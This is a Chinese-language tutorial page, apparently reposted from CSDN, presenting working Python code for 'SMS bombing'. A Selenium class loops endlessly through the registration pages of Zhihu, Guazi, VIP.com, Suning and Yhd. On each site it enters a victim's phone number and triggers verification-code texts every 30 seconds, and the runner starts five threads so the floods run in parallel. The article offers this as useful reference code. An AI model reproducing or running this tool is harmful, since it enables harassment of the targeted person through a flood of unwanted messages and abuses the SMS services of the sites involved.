当前位置:
首页 > Python基础教程 >
-
Python短信轰炸的代码
这篇文章主要介绍了Python短信轰炸的代码,代码简单 易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
环境 python3.0
工具 pycharm
谷歌插件chromedriver
程序执行方法
from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
def __init__(self):
self.phone = "xxxxx"#你要轰炸的电话号码
self.num = 0
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))
time.sleep(30)
def zhihu(self,name):
while True:#下面这行是刚刚叙说的chromedrive的安装路径
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.zhihu.com/question/39993344")
driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
tel.send_keys(self.phone)
button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
self.send_yzm(button,name)
driver.quit ()
def guazi(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.guazi.com/www/bj/buy")
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
tel.send_keys( self.phone )
button = driver.find_element_by_xpath("//button[@class='get-code']")
self.send_yzm(button,name)
driver.quit()
def wphui(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
button = driver.find_element_by_xpath (
"//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
self.send_yzm ( button,name )
driver.quit ()
def suning(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://reg.suning.com/person.do" )
driver.find_element_by_xpath("//a[@class='agree-btn']").click()
tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath (
"//a[@id='sendSmsCode']" )
self.send_yzm ( button,name )
driver.quit ()
def yhd(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.yhd.com/passport/register_input.do" )
driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
tel.send_keys ( self.phone )
time.sleep(2)
button = driver.find_element_by_xpath (
"//a[@class='receive_code fl same_code_btn r_disable_code ']" )
#button.click()
time.sleep(1)
self.send_yzm ( button,name )
driver.quit ()
执行放发
from threading import Thread
from sendPhon import HongZha
hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()
总结
到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!
原文链接:https://blog.csdn.net/qq_40811171/article/details/105044371
栏目列表
最新更新
求1000阶乘的结果末尾有多少个0
详解MyBatis延迟加载是如何实现的
IDEA 控制台中文乱码4种解决方案
SpringBoot中版本兼容性处理的实现示例
Spring的IOC解决程序耦合的实现
详解Spring多数据源如何切换
Java报错:UnsupportedOperationException in Col
使用Spring Batch实现批处理任务的详细教程
java中怎么将多个音频文件拼接合成一个
SpringBoot整合ES多个精确值查询 terms功能实
SQL Server 中的数据类型隐式转换问题
SQL Server中T-SQL 数据类型转换详解
sqlserver 数据类型转换小实验
SQL Server数据类型转换方法
SQL Server 2017无法连接到服务器的问题解决
SQLServer地址搜索性能优化
Sql Server查询性能优化之不可小觑的书签查
SQL Server数据库的高性能优化经验总结
SQL SERVER性能优化综述(很好的总结,不要错
开启SQLSERVER数据库缓存依赖优化网站性能
uniapp/H5 获取手机桌面壁纸 (静态壁纸)
[前端] DNS解析与优化
为什么在js中需要添加addEventListener()?
JS模块化系统
js通过Object.defineProperty() 定义和控制对象
这是目前我见过最好的跨域解决方案!
减少回流与重绘
减少回流与重绘
如何使用KrpanoToolJS在浏览器切图
performance.now() 与 Date.now() 对比